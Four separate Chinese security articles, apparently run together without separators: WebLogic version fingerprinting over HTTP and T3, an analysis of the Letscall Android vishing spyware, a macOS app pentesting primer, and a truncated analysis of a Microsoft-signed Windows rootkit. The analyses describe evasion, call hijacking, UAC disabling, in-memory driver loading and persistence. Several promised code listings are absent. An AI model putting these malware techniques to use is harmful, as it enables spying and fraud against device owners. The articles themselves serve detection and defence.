0x00 前言本文將要介紹WebLogic版本探測的兩種方法，通過Python實現自動化，記錄開發細節，開源代碼。 0x01 簡介本文將要介紹以下內容： 實現思路 實現細節 開源代碼 0x02 實現思路探測WebLogic版本的方法有以下兩種： 1.通過Web頁面WebLogic Admin Console默認配置下的URL:http:// 在返回結果中能夠獲得WebLogic的版本 這裡需要注意以下問題： (1)需要區別早期版本 早期版本的返回結果示例： 目前常用版本的返回結果示例： WebLogic Server Version: 14.1.1.0.0 (2)WebLogic Admin Console對應的路徑和端口可被修改 WebLogic Admin Console可被關閉，也可修改URL，修改方法有以下兩種： 通過瀏覽器訪問WebLogic Admin Console，在Configuration-General-Advanced設置，如下圖 通過配置文件設置，默認路徑：Oracle_Home\user_projects\domains\base_domain\config\config.xml，內容如下： (3)關閉WebLogic Admin Console的情況 如果關閉了WebLogic Admin Console，訪問URL:http:// 2.通過T3協議可以使用nmap的腳本weblogic-t3-info.nse，命令示例： 返回結果示例： 在原理上是通過建立socket連接，在返回結果中獲得WebLogic的版本 這裡需要注意以下問題： (1)需要區別早期版本 早期版本的返回結果示例：t3 10.3.6.0\nAS:2048\nHL:19\n\n 目前常用版本的返回結果示例：HELO:12.2.1.3.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n (2)存在需要多次發送的情況 存在特殊情況，返回內容為HELO，此時需要重新發送直到返回完整的版本信息 (3)T3協議可被關閉 關閉方法有以下兩種： 通過瀏覽器訪問WebLogic Admin Console，在Security-Filter設置，配置如下： Connection Filter設置為weblogic.security.net.ConnectionFilterImpl Connection Filter Rules設置為： 如下圖 通通過配置文件設置，默認路徑：Oracle_Home\user_projects\domains\base_domain\config\config.xml，內容如下： 0x03 實現細節綜合以上探測方法，為了適應多種環境，在程序實現上選取了通過HTTP協議和T3協議兩種方法實現 1.通過HTTP協議選擇默認配置下的URL:http:// 需要注意以下問題: (1)第一次訪問時存在一次跳轉 首次啟動WebLogic時，在訪問默認配置下的URL:http:// 在返回內容中以字符串Deploying application作為判斷依據 (2)需要區別早期版本 早期版本的返回結果示例： 目前常用版本的返回結果示例： WebLogic Server Version: 14.1.1.0.0 在腳本實現上優先判斷常用版本，使用正則匹配，如果失敗，再從固定格式 (3)關閉WebLogic Admin Console的識別 如果關閉了WebLogic Admin Console，訪問URL:http:// 完整示例代碼如下： 2.通過T3協議發送的socket數據內容為：t3 12.1.2\nAS:2048\nHL:19\n\n 需要注意以下問題: (1)需要區別早期版本 早期版本的返回結果示例：t3 10.3.6.0\nAS:2048\nHL:19\n\n 目前常用版本的返回結果示例：HELO:12.2.1.3.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n 為了提高準確性，這裡使用正則提取版本信息，示例代碼： (2)存在需要多次發送的情況 存在特殊情況，返回內容為HELO，此時需要重新發送直到返回正確的版本信息 在重新發送的過程中，應關閉整個socket連接，重新初始化發送數據 (3)T3協議可被關閉 如果關閉了T3協議，返回內容示例： 完整示例代碼如下： 0x04 開源代碼完整的實現代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-Python/blob/master/WebLogic_GetVersion.py 代碼使用HTTP協議和T3協議探測版本信息 0x05 小結本文介紹了WebLogic版本探測的兩種方法，比較優缺點，選取有效的方法並通過Python實現自動化，記錄開發細節，開源代碼，作為一個很好的學習示例。

Vishing即語音釣魚，是網路釣魚(Phishing)的電話版本。黑客們利用語音釣魚的方式,在短短的幾分鐘內就可清空人們的賬戶。近年來，隨著Vishing的興起，人們便不再信任未知號碼呼叫。 比如，接到冒充銀行員工的聯繫人打來的電話是非常令人討厭的，最近研究人員遇到了一組以前從未見過的惡意應用程序，開發者將其稱為“Letscall”，目前針對的是來自韓國的個人用戶。從技術上講，沒有任何規定禁止他們將攻擊範圍擴大到歐盟國家。換句話說，我們正在處理一個隨時可用的框架，任何攻擊者都可以使用它，因為它包含了關於如何操作受影響設備以及如何與受害者溝通的所有說明和工具。 該組織可能包括：熟悉現代VOIP流量路由概念的Android開發人員，我們稱其為“開發人員”，因為我們在其中一個階段觀察到命令命名的差異。 設計人員負責網頁、圖標以及管理面板、網絡釣魚網頁和移動惡意應用程序的內容。 前端開發人員熟悉JavaScript開發，包括VOIP流量處理。 後端開發人員熟悉保護後端API免受未經授權訪問的技術。 呼叫具有語音社會工程攻擊技能的接線員，他們可以流利地說不同的語言。 攻擊分為三個階段：受害者訪問一個特別製作的釣魚網頁，看起來像Google Play Store。受害者從該頁面下載惡意應用程序鏈的第一階段。 第一階段（我們稱之為下載程序）在設備上運行準備工作，獲得必要的權限，打開釣魚網頁，並安裝第二階段惡意軟件，該惡意軟件將從控制服務器下載。 第二階段是一個強大的間諜軟件應用程序，它將幫助攻擊者竊取數據，並將受攻擊的設備註冊到P2P VOIP網絡中，該網絡用於通過視頻或語音通話與受害者通信。此應用程序還會釋放第三個階段，即鏈的下一個部分。 letcall使用WEBRTC技術來路由VOIP流量，並將受害者與呼叫中心操作員連接起來。為了達到最大的電話或視頻通話質量，並克服NAT和防火牆，Letscall使用STUN/TURN方法，包括Google STUN服務器。 第三階段是第二階段惡意軟件的配套應用程序，並擴展了一些功能，它包含電話呼叫功能，用於將呼叫從受害者設備重定向到攻擊者呼叫中心。 Vishing技術迭代過程 這種釣魚攻擊已經發展得非常先進和復雜了，因為欺詐者現在使用現代技術進行語音通信路由和自動呼叫受害者的系統（所謂的自動竊取者，用於通過電話自動廣告），並播放預先錄製的誘惑信息。如果受害者上鉤了，接線員就會接起電話，引導受害者按照騙子的要求行事。攻擊者可能會欺騙受害者到最近的自動取款機取現金，或者迫使受害者披露個人信息，如銀行賬戶數據、信用卡詳細信息或銀行憑證。 在過去的幾年裡，這種攻擊已經成為一種明顯的趨勢，沒有證據表明欺詐者會放棄該方法。 如今，受害者和安全行業都在發展，並通過各種防禦機制對抗這種攻擊。使用呼叫者識別應用程序或了解欺詐者策略可能足以抵禦攻擊者。 這可能是欺詐者試圖利用他們所掌握的任何類型的信息，而不僅僅是使用姓名和電話號碼來獲得受害者信任的原因之一。為了獲得更高級別的信任，攻擊者通過訪問受害者設備對受害者進行偵察。 將這兩種類型的攻擊(手機攻擊和Vishing)結合起來，欺詐者可以“一舉兩得”：我們觀察到的一種常見攻擊類型包括在請求受害者小額貸款。如果受害者註意到一些不尋常的活動，攻擊者將打電話給受害者，冒充銀行安全小組的成員，並向受害者保證沒有什麼可擔心的。 在完全控制受攻擊設備的情況下，攻擊者還會將任何呼叫重新路由到由攻擊者管理的另一個呼叫中心。如果受害者決定聯繫銀行並詢問與可疑活動有關的問題，準備充分的接線員將接聽電話。使用這種作案手法，攻擊者還可能要求受害者提供更多細節，以幫助他們進行犯罪活動並完成資金轉移。 這種攻擊是非常危險的，因為受害者必須償還貸款，金融機構可能不會關心這種攻擊和設備攻擊，從而降低了調查潛在欺詐攻擊的可能性。這就是為什麼這樣的攻擊應該被業界披露和報告的原因。 對於“letcall”惡意軟件的所有三個階段，攻擊者都使用了強大的逃避檢測技術。一些版本的下載程序使用騰訊Legu模糊處理或Bangcle（SecShell）進行了保護。對於第二和第三階段，使用了ZIP文件目錄樹中的長名稱和清單攻擊技術。 Checkpoint最近也報導了同樣的技術。然而，從代碼和基礎設施的角度來看，這些活動是不同的。攻擊者有可能彼此分享知識，或者受到同一地區其他攻擊者的影響。 “Letscall”第二和第三階段規模巨大，我們的研究仍在進行中。然而，我們現在想提供一些見解。 下載程序目前還不知道攻擊者如何說服受害者訪問可以找到下載程序的誘餌網頁，這可能是一種黑化的SEO技術或使用垃圾郵件的社會工程。到目前為止，我們知道這些頁面模仿了Google Playstore，並針對移動屏幕分辨率進行了優化。這裡一個值得注意的細節是頁面的語言為韓語。 從技術角度來看，使用的下載程序是相對簡單的應用程序，有時使用我們稍後將描述的自定義技術。下載程序的目標是做兩件事：下載並運行第二階段應用程序。有效負載的URL地址被硬編碼到應用程序中。 打開帶有網絡釣魚窗口的web視圖，該窗口也硬編碼到應用程序中。 這些頁面會因正在進行的傳播活動而有所不同，研究人員發現至少有3個頁面模仿了Banksala（貸款比較聚合器）、Finda（貸款對比聚合器）和KICS（韓國刑事司法服務信息系統）。 每個頁面都會誘使受害者輸入敏感信息，如居民註冊號（身份證）、電話號碼、家庭地址、工資大小和雇主姓名。該輸入數據將自動發送給攻擊者。同樣的數據也被輸入到貸款聚合器的原始網頁中。我們可以非常肯定地說，攻擊者要么會使用竊取的數據在合法網站上填寫類似的表格來申請貸款，要么也可能是網絡釣魚頁面在受害者和貸款聚合頁面之間充當代理： 第二階段乍一看，這個應用程序顯然是非常模糊的，要分析它的功能需要很長時間。讓我們來看看其中的每一種技術： 1.APK文件中包含長路徑名。一些分析系統將無法處理提取此類APK文件的內容。 2.XML文件攻擊。 3.代碼打包：核心DEX文件不包含清單中列出的代碼。然而，它包含模糊代碼，這些代碼將從APK收集文件，對其進行解密並加載。這些文件位於APK文件的根目錄中，它們的名稱以“o”開頭，以“bf”結尾，即“obf”或模糊處理： 所有的文件都有相似的標題和相對較低的熵。 甚至還隱藏了一些字符串： 經過一些修改之後，很明顯，這幾十個文件都是DEX文件，只是在它們的標頭文件中做了微小的修改。通過觀察文件第一個字節中重複的0x1f值，我們可以猜測，為了隱藏原始標頭，使用了一個字節的異或加密，並且只加密了文件的0x64字節。 我們重建了APK文件並分析了代碼。在第一步分析之後，我們意識到我們面臨著一些重大問題。 由此產生的APK文件基於十幾個不同的框架，包括okhttp3和butterknife等流行的框架，以及我們第一次觀察到的一些庫。 最有趣的庫是im/zego。 第二階段濫用合法服務ZEGOCLOUD作為IP語音通信和消息傳遞的提供商。為了處理這種依賴於WEB RTC的通信，攻擊者使用中繼服務器。特別使用的公開可用的STUN/TURN服務器，包括來自Google的服務器，以及自配置的服務器。在此過程中，他們還竊取了應用程序代碼中的憑據。 需要這樣的功能來執行呼叫中心運營商和受害者之間的P2P語音/視頻連接，並且相同的信道也用於具有許多不同命令的C2通信。此外，該惡意軟件還支持使用網絡套接字進行通信。來自P2P服務和web套接字通信的命令有時會相互重複，共涉及32個命令。 為了過濾數據並更改配置，惡意軟件使用傳統的http通信： 攻擊者還可以對需要重定向的電話號碼配置白名單，對需要繞過重定向的電話號碼配置黑名單。 我們注意到的另一件有趣的事情是nanoHTTPD的使用，這個應用程序創建一個本地http服務器，然後打開Chrome瀏覽器進行訪問。 通過濫用可訪問性服務，它將把必要的界面元素推入Chrome，並將第三階段的惡意軟件傳遞給受害者。這種更複雜的方法被用來以更有效的方式欺騙受害者。 第三階段從技術角度來看，安裝的下一個APK文件看起來與第二階段APK非常相似，使用了相同的逃避檢測技術，並且相同的xor加密DEX文件位於APK文件的根文件夾中。此應用程序還包含一個大型代碼庫： 第三階段最有趣的部分是名為“phonecallapp”的包，該包包含負責電話操縱攻擊的代碼，它將攔截傳入和傳出的呼叫，並根據攻擊者的願望重新路由。 為了配置處理電話呼叫的方式，攻擊者使用具有以下結構的本地SQLite數據庫： 在第三階段APK的資產中，已經準備好了MP3語音信息，如果有人試圖撥打銀行電話，就會播放給受害者。 對於攻擊者來說，他們的目標顯然是模仿客戶給銀行打電話時的體驗。 第三階段有自己的一組命令，其中還包括Web套接字命令。 其中一些命令與地址簿的操作有關，例如創建和刪除聯繫人。其他命令涉及創建、修改和刪除過濾器，這些過濾器確定哪些調用應該被攔截，哪些應該被忽略。 基礎設施 在我們獲得Downloader之後，我們開始分析C2服務器並分析了管理面板。 與許多不同的WEB應用程序一樣，它由兩部分組成。 基於VueJS的前端，用於向攻擊者提供可視化內容； 基於Laravel PHP框架的後端，使用API與前端和惡意應用程序通信； 前端是最有趣的部分，因為它為管理員和電話接線員提供了一個功能齊全的工作帳戶。從這個面板中，電話接線員可以選擇受害者，並直接從瀏覽器開始視頻/音頻對話。運營商還可以看到從目標洩漏並上傳到基礎設施的完整詳細信息列表。它由至少33000個代碼字符串組成。 我們確定了操作員可以使用的至少19個與受攻擊設備控制相關的菜單： 此JavaScript應用程序將使用與兩個階段的應用程序相同的VOIP基礎設施，這些服務器列在管理面板配置文件中： 值得注意的是，前端應用程序包含所謂的教程和演示。 ThreatFabric能夠下載其中的兩個。在這些視頻中，我們可以觀察到完整的攻擊鏈以及它是如何在野外發生的。它們可能是為了方便電話接線員，從受害者的角度向他們展示攻擊過程，並使他們能夠回答受害者可能提出的問題。 在分析了前端面板之後，我們發現了後端的各種API。攻擊者將他們分為兩大類： Admin—負責管理操作員對管理面板的訪問的API， sys-user—負責從後端基礎設施檢索數據並控制受感染設備的API。 Admin面板代碼還顯示了一些圖片和音頻文件，音頻文件與我們在第三階段應用程序中看到的相同。 另一方面，圖片為我們提供了一些額外細節，例如可能支持四種語言：英語、韓語、日語和中文。 一些圖片包含元信息，比如它們被創建的時間(2022-12-02 15：22)。此外，還提供了一個時區：+8。這個時區對應的是南亞國家，包括中國。 我們還觀察了幾個韓國金融機構的名稱，這些名稱將在攻擊中被使用。 總結在分析了“letcall”惡意軟件活動後，研究人員確定這是一個熟悉Android安全和現代語音路由技術的網絡犯罪組織。該組織證明，技術上精心設計的社會工程攻擊仍然極其危險。該組織致力於使用虛假的Google Play頁面，竊取現有韓國應用程序的圖標，並結合使用nanoHTTPD的新技術來減少有效負載。 居民登記號碼(或身份證)盜竊可以為網絡攻擊者攻擊打開方便之門，我們看到，隨著政府、私人和公共機構越來越多地採用電子身份證解決方案，這種攻擊方式只會增加。重複使用其他攻擊者使用的相同逃避檢測技術在亞洲攻擊組織中很常見。 從網絡分析的角度來看，觀察另一種控制殭屍網絡並將流量隱藏在WEB RTC服務內部的方法是很有趣的。這突出了這樣一個事實，即無論使用的是私人服務器還是谷歌STUN服務器，此類流量都應該始終由保護系統進行分析。 關於“letcall”應用程序，我們討論了多功能間諜軟件，該軟件的設計密切關注與受害者的視頻和音頻連接，以及攔截短信和電話等通信。基於其代碼中包含的許多不同特性，letcall可以被歸類為RAT。 RAT允許攻擊者了解受害者的所有信息，並執行有效的社會工程攻擊。 最後，一些設計良好的基礎設施可能會被講不同語言的電話運營商使用。研究人員預測，這樣的工具包可以作為MaaS(惡意軟件即服務)在暗網上傳播。 為了保證安全，我們需要拒絕任何可疑應用程序的訪問。

網上有很多關於Windows和Linux滲透測試應用程序的指南和信息。不幸的是，在macOS中沒有一個幫助我們完成滲透測試的指南。這意味著我們必須花費更多的時間在網絡上搜索，並嘗試不同的工具和技術，來找到最有效的測試方法。隨著macOS及其應用程序的普及，針對它們的攻擊越來越多。為了確保這些應用程序的安全性，需要進行滲透測試。 首先，我們將定義什麼是macOS應用程序。此外，我們將用Swift編程語言創建一個簡單的應用程序，並配置應用程序沙盒功能。它還涵蓋了基本的GUI和網絡測試，包括Burp Suite的配置以及SIP與此的關係。 應用程序結構讓我們從定義什麼是macOS應用程序開始，macOS應用程序是為在蘋果的macOS操作系統(以前的OS X)上運行而設計的軟件，它由一組文件和資源以特定格式捆綁在一起，通常有一個用戶界面。一些流行的macOS應用程序包括Safari、Chrome和Word。 Swift和Objective-C是創建macOS應用程序最常用的編程語言，但macOS也支持其他語言，如C和c++。 許多應用程序都是從App Store獲得的，但用戶也可以選擇從第三方資源下載和安裝應用程序。安裝後，應用程序通常位於/Applications或~/Applications路徑，但也可以存儲在其他位置。例如，系統應用程序是通過/system/applications路徑訪問的。需要注意的是，macOS應用程序可以通過查找“.app”擴展來區分，並存儲為包，也稱為應用程序包（Application Bundle）：包（bundle）是一個具有標準化層次結構的目錄，通常包含可執行代碼和該代碼使用的資源。包扮演著許多不同的角色：應用、應用擴展、框架和插件都是包。包也可以包含其他包。 雖然包在Finder中顯示為單個文件，但它實際上是一個目錄。要查看應用程序的內容，右鍵單擊文件名並選擇“顯示包內容”。在Content目錄中，你可以找到如下所示的幾個子目錄： 應用程序內容 macOS應用程序包的基本結構包括以下內容： Info.plist：這個文件包含應用程序的配置信息，例如包標識符和包版本； MacOS：這個目錄包含主要的可執行文件； Resources：該目錄包含應用程序的資源，如圖像、本地化和接口文件； 你可以在應用程序包中找到的其他目錄： Frameworks：此目錄包含由主可執行文件加載的框架和動態庫； Plugins：這個目錄包含應用程序擴展和插件，它們是擴展應用程序功能的軟件組件。插件通常作為共享庫開發，提供特定應用程序定義的API和接口。他們可以為特定的應用程序添加新功能，例如提高殘疾人可用性的無障礙插件。另一方面，擴展是一種修改操作系統行為的插件，例如向Spotlight搜索功能添加新功能； Library:此目錄可能包含各種子目錄，包括： LaunchServices：該目錄包含由服務管理框架安裝的特權助手工具，這些工具允許應用程序和進程執行需要管理權限的系統級任務。它們在後台運行，使用進程間通信(IPC)機制(如Mach消息或XPC)與主應用程序通信。這些工具通常作為啟動守護進程或啟動代理實現，負責管理後台進程。應用程序代理在用戶登錄時啟動並繼續在後台運行，而應用程序守護進程則從系統啟動開始在後台持續運行，它們分別在/Library/LaunchAgents和/Librare/LaunchDaemons中的plist文件中定義。 SystemExtensions：該目錄包括系統擴展，允許網絡擴展和端點安全解決方案等軟件在不需要內核級訪問的情況下擴展macOS的功能。如今，這些擴展被用作內核擴展（kext）的替代方案。 XPCServices：該目錄包括macOS應用程序中用於實現進程之間通信的XPC服務。 XPC服務被實現為一個單獨的二進制可執行文件，它在後台運行，可以由多個進程使用。 完整的列表可以在蘋果的文檔中找到。 虛假應用程序我們搜索了一個包含一些錯誤配置的虛假應用程序，例如： 網絡上未加密的數據； 各種應享權利； 無效的代碼簽名； 加載可被劫持的dylib； 但是我們找不到一個適合我們需要的，因此，我們決定創建自己的應用程序。 虛假應用程序 幸運的是，我們發現了一個有趣的博客，在整個Swift語言應用程序開發過程中為我們提供了有用的指導。 在構建我們的應用程序時，除了一個基本的應用程序外，我們還添加了一些代碼，其中包括向服務器發送HTTP請求的功能。 你可以在下面找到“複雜”應用程序的代碼（代碼片段1）： 代碼片段1：虛假應用程序代碼 通過在Xcode中創建一個新的macOS應用程序，它將獲得應用程序沙盒權限和默認功能集。 為了允許我們的應用程序創建網絡請求，我們添加了一個用於輸出連接的功能，該功能將com.apple.security.network.client授權添加到我們的應用程序中。 Xcode中的應用沙盒功能 應用程序沙盒限制訪問系統資源和macOS應用程序中的用戶數據，可以通過授權進行訪問。 功能和授權是決定應用程序權限和訪問級別的兩種機制。功能定義了應用程序需要使用的功能，比如攝像頭或互聯網。同時，授權授予應用程序與操作系統和其他應用程序交互的訪問權限。 對於某些操作，我們需要添加特定的功能，例如： 為了訪問互聯網，我們添加了傳入/傳出連接的功能，這將自動為應用程序提供com.apple.security.network.*權限。 為了訪問硬件，例如內置攝像頭，我們添加了特定硬件的功能，該功能為應用程序提供了com.apple.security.device.*權限。 為了訪問文件，我們添加了特定文件和權限的功能，為應用程序提供了com.apple.security.files.*權限。 默認情況下，在macOS 10.15或更高版本中，所有Mac應用程序必須經過蘋果的“公證”才能啟動。請參閱蘋果文檔公證macOS軟件之前發布的更多細節。如果我們必須通過App Store傳播應用程序，則需要通過額外的安全檢查進行公證。 我們可以通過以下步驟查看虛假應用的應用包： 點擊Xcode菜單中的“Product”； 選擇“Archive.”； 右鍵單擊並從上下文菜單中選擇“在Finder中顯示”； GUI測試與Windows和Linux客戶端一樣，第一步將是識別常見的用戶輸入界面，並測試它們的安全漏洞，例如SQL注入或跨站點腳本。 此外，了解應用程序的行為和功能也是必不可少的。這包括了解應用程序如何處理用戶輸入，它存儲和收集什麼數據，以及它如何與外部系統交互。 網絡測試分析應用程序和服務器之間的網絡通信對於滲透測試至關重要。我們可以通過檢查網絡流量來檢測未經加密或通過不安全通道傳輸的敏感信息。 然而，在macOS中，我們默認啟用SIP。首先，讓我們了解SIP是什麼。 系統完整性保護SIP（系統完整性保護）是一種安全功能，可防止惡意軟件修改Mac系統上受保護的文件和文件夾。它限制了root用戶帳戶，並限制了root用戶可以在操作系統的受保護部分執行的操作。 系統完整性保護包括幾種機制，包括： 文件系統保護：防止對/System、/sbin、/bin和/usr目錄以及某些系統文件和文件夾進行任何修改。 運行時保護：SIP限制了附加調試器和防止代碼注入的能力。 內核擴展保護：將內核擴展（kext）的安裝限制為僅限蘋果批准和簽署的內核擴展。 macOS中的SIP機制阻止我們監控網絡活動，因此禁用SIP對於我們的需求是必要的。我們不建議禁用SIP，但我們將禁用它進行測試。 要禁用SIP，請遵循以下步驟，在恢復模式下從實用程序菜單中啟動終端，運行命令csrutil disable並重新啟動macOS。使用用戶身份登錄後，打開終端並執行命令csrutil status，查看SIP是否成功關閉。 重要的是要記住，禁用SIP可能會使你的系統容易受到惡意攻擊，因此請確保在完成研究後重新啟用它。你可以按照上面提到的相同步驟啟用SIP，但不是運行csrutil disable，而是運行csrutil enable。 既然SIP已被禁用，我們就可以繼續配置代理來攔截和分析虛假應用程序的網絡活動。 為此，我們將使用BurpSuite工具，它將允許我們攔截、操縱和分析web應用程序與其服務器之間的HTTP和HTTPS流量。 下面是在macOS系統上配置代理的步驟： 1.下載並安裝BurpSuite：你可以從PortSwigger網站下載該工具，安裝很簡單； 2.配置BurpSuite代理：為此，我們將導航到“Proxy”選項卡並選擇“Options”選項卡。在這裡我們將設置一些選項，例如代理偵聽器和端口。在下一步中，我們應該以.der格式導出Burp證書，並將其保存在某個本地文件夾中。 導出Burp證書 3.安裝導出的證書並允許系統使用它： 將證書安裝到系統 4. 配置macOS網絡設置： 要執行此操作，請導航到“系統首選項”菜單並選擇“網絡”。此時，我們將選擇網絡適配器並單擊“高級”按鈕。在“高級”菜單中，我們將選擇“代理”選項卡並配置代理設置。我們將代理類型設置為“HTTP”，代理服務器設置為“127.0.0.1”，我們還將端口設置為“8080”。 代理配置 5. 驗證代理配置：我們可以啟動一個網絡瀏覽器並導航到一個隨機的網站來驗證一切是否正常。然後，我們將返回到BurpSuite工具，並驗證網絡活動是否已被捕獲。 Wireshark此外，還可以使用Wireshark進行網絡流量分析。 Wireshark是一種網絡協議分析器，可以捕獲和分析網絡流量。我們可以使用它來檢測網絡通信中的安全弱點，例如明文密碼、不安全的協議和敏感信息。 Wireshark未加密的流量 總結我們了解了macOS應用程序及其結構，並演示瞭如何構建虛假應用程序。我們還討論了SIP以及如何配置常用的網絡攔截工具。 在下一部分，我們將深入研究文件和二進制分析，包括代碼簽名機制、強化的運行時異常和授權。此外，我們還將介紹一些用於這些目的的幾種工具和技術。

我們會在本文對一個帶簽名的rootkit進行分析，它的主要二進制函數是一個通用加載程序，使攻擊者能夠直接加載第二階段的未簽名內核模塊。 在趨勢科技最近的一次調查中，研究人員發現了一個有趣的攻擊活動，他們最初認為這是檢測微軟簽名文件時的誤報。然而，追踪發現，這是一個新出現的簽名rootkit，它與一個大型命令和控制(CC)基礎設施通信，用於我們目前正在跟踪的未知攻擊者，我們認為這與rootkit FiveSys背後的攻擊者相同。其攻擊目標是中國的遊戲行業。惡意軟件似乎已經通過了Windows硬件質量實驗室(WHQL)獲得了有效簽名。 WHQL簽章要求確保所有驅動程序是獲得OS廠商驗證及簽章，但這類簽章無法保證出於真正App開發商之手。這顯示惡意程序作者想利用微軟簽章制度，讓用戶誤以為它是合法驅動程序而安裝。研究人員已在2023年6月向微軟安全響應中心(MSRC)報告了他們的發現。 主二進製文件充當通用加載程序，允許攻擊者直接加載第二階段未簽名內核模塊。每個第二階段插件都是針對部署它的受害設備自定義的，有些甚至包含針對每台設備的自定義編譯驅動程序。每個插件都有一組要從內核空間執行的特定操作。 發現的變體由八個主要集群組成，這些集群基於從簽名(Authenticode)中的SPC_SP_OPUS_INFO字段中提取的特定於供應商的元數據，揭示了這些變體代表其簽名的各種發布者。 每個集群中的示例數量 2022年和2023年使用微軟門戶網站簽署的驅動程序數量 攻擊者目前使用不同的方法對其惡意內核驅動程序進行簽名，通常包括： 濫用微軟簽名門戶； 使用洩露和被盜的證書； 使用黑市服務； 接下來，我們將介紹一種明顯遵循第一種方法的攻擊：濫用WHQL在惡意驅動程序上獲得有效簽名，該惡意驅動程序可以在最新的Windows版本上成功加載。我們還將提供這種新發現的惡意軟件的技術細節，該惡意軟件是由微軟直接簽名的獨立內核驅動程序，這是一種不斷發展的攻擊技術，現在出現的非常頻繁。儘管構建這樣的能力非常複雜，但當前的攻擊者似乎很熱衷於這些工具、策略和程序(TTP)。 作為獨立內核驅動程序由Microsoft直接簽名的惡意軟件 WHCP濫用史下圖顯示了Windows硬件兼容性程序(WHCP)濫用史，這些報告導致了Windows內核信任模型的妥協。 2021年6月，Netfilter rootkit被報導，之後微軟發布了一份報告，詳細說明它被用作遊戲社區中地理定位作弊的手段。 Bitdefender隨後在2021年10月披露了FiveSys，這是一個主要用於在線遊戲玩家的rootkit，主要目的是竊取憑證和在遊戲中購買劫持。最後，Mandiant報告了已知的最後一次濫用，揭露了Poortry惡意軟件，該惡意軟件已被用於許多網絡攻擊，包括基於勒索軟件的事件。 WHCP發生時間表 現代rootkit的檢測方法在引入內核模式代碼簽名(KMCS)策略機制的時代，隨著64位簽名驅動程序的數量增加，現在尋找64位簽名的rootkit並不那麼容易，如下圖所示。由於現代內核rootkit的開發成本更高，而且將內核rootkit納入其惡意軟件庫的技術能力不足，或者可以訪問繞過新Windows版本中添加的安全防御所需的技術，這使得檢測這類攻擊變得更加困難。 2015年前後檢測到的一次以上已簽名驅動程序總數 如下圖所示，研究人員根據以下內容評估了Windows內核驅動程序示例： 他們簽署的驅動程序簽名被吊銷； 它們有一個或多個基於惡意軟件搜索引擎的誤報檢測，包括VirusTotal惡意軟件存儲庫： Set 1：未被吊銷且無誤報檢測的已簽名驅動程序； Set 2：未被吊銷且有一個或多個來自不同引擎的誤報檢測的已簽名驅動程序； Set 3：已被吊銷且無誤報的簽名驅動程序； Set 4：已被吊銷的簽名驅動程序，其中包含來自不同引擎的一個或多個誤報。 Windows內核驅動程序基於其簽名驅動程序被吊銷或以其他方式進行採樣，並且它們具有一個或多個誤報檢測。 從Set 1和Set 2中尋找新的示例提交以查找攻擊這樣就可以研究這個新出現的示例集群和服務於第二階段插件的底層CC基礎設施。 從2020年到2022年5月，屬於示例Set 2的內核驅動程序提交數量增加 第一階段分析根據從這次活動中收集的示例，我們確定了兩個不同的集群，它們的示例之間有多個相似之處。研究人員觀察到一種模式，即使用VMProtect對一些示例進行模糊處理，然後在沒有任何模糊處理的情況下對具有更多功能的較新示例進行簽名，這表明這些示例背後的攻擊者仍處於測試和開發階段。 有很多相似之處的兩個不同集群 大多數示例都是“Microsoft Windows Hardware Compatibility Publisher”簽名的驅動程序。下面我們將對第一個集群中的一個示例進行分析。 驅動程序首先檢查加載到內存中的驅動程序上是否有另一個實例，方法是嘗試打開由驅動程序在初始化期間創建的符號名稱“\？\ea971b87”。如果成功打開，DriverEntry返回的錯誤代碼“0FFFFCFC7”將停止加載驅動程序。然後，如果驅動程序尚未加載，它將創建一個符號名稱“\？\ea971b87”，並初始化其處理程序的函數。基於我們觀察到的當前變體，它僅使用“IRP_MJ_DEVICE_CONTROL”和“IRP_J_SHUTDOWN”。 檢查驅動程序是否已經加載 初始化IO處理程序 註冊關閉通知處理程序 然後，驅動程序檢查二進制編譯是調試構建還是發布，如下圖所示。在調試構建的情況下，它在整個執行過程中打印一些調試消息，這表明目前的產品仍在開發和測試中。然後，驅動程序通過編輯註冊表禁用用戶帳戶控制(UAC)和安全桌面模式，並初始化Winsock內核(WSK)對象，以啟動CC服務器的網絡活動。 檢查編譯是否是調試構建的 禁用UAC然後初始化WSK對象 從“IRP_J_DEVICE_CONTROL”設備控制處理程序掛接文件系統堆棧 第一階段網絡初始化第一階段驅動程序負責與CC服務器之間的所有網絡通信。它使用WSK（一種內核模式的網絡編程接口）從內核空間啟動所有通信。使用WSK，內核模式軟件模塊可以使用用戶模式Winsock2支持的相同套接字編程概念執行網絡I/O操作。 它使用域生成算法（DGA）生成不同的域。如果它無法解析地址，它會直接連接到硬編碼在驅動程序內部的輻射ip，它連接到端口80上的驅動程序，並創建一個TCP套接字用於通信。 wsk創建的套接字類型 解析DNS 解析DNS 來自第一階段驅動程序的DNS請求 連接CC服務器 然後，它定期連接到CC服務器以獲取配置。它可以選擇作為內核驅動程序加載程序： 它逐字節地接收來自CC服務器的數據； 它對接收到的數據進行解碼和解密； 它將接收到的內核驅動程序直接加載到內存中，而不將其寫入磁盤； 它解析接收到的可移植可執行文件（PE）並執行所有重新定位； 它調用驅動程序入口點； 這樣，內核插件就永遠不會接觸磁盤，只會在內存中，這使得它更隱蔽，並使其能夠繞過檢測。 解碼從CC服務器接收到的數據 接收第一階段的配置 解析用於加載新接收到的驅動程序的函數地址 獲取驅動程序入口地址 調用驅動程序入口函數 第二階段插件下載的第二階段驅動程序是自簽名的，因為它完全由第一階段加載程序加載，繞過Windows本機驅動程序加載程序。因此，不需要對這些第二階段的變體進行簽名。它打開文件“C:\WINDOWS\System32\drivers\687ae09e.sys”，然後讀取數據並對其進行編碼。然後，它將數據劃分為內存塊並將其寫入註冊表路徑“\ registry \Machine\Software\PtMyMem”及其大小和MD5。之後，它從磁盤中刪除文件“C:\WINDOWS\System32\drivers\687ae09e.sys”。 第二階段的自簽名驅動程序 讀取文件 文件信息 註冊表中的編碼文件 刪除寫入磁盤的文件 實現持久性第一階段關閉通知函數檢查是否已從CC服務器接收到內核插件並將其加載到內存中，以便進行清理。它還檢查註冊表項“\ registry \Machine\Software\PtMyMem”，如果它出現，則迭代其所有子鍵並解碼數據，將其寫入磁盤“C:\WINDOWS\System32\drivers\687ae09e”。 sys”路徑。最後，它創建一個名為“BaohuName”的服務，該服務將在系統再次啟動時運行。 第一階段和第二階段（從CC服務器下載的插件）作為攻擊者自我保護和持久性方法的一部分協同工作。該技術與從CC服務器下載的內核插件相結合，將成為該驅動程序的主要持久性機制。對這個特定的第二階段插件的詳細分析如下： 第一階段驅動程序連接CC服務器並下載第二階段驅動程序； 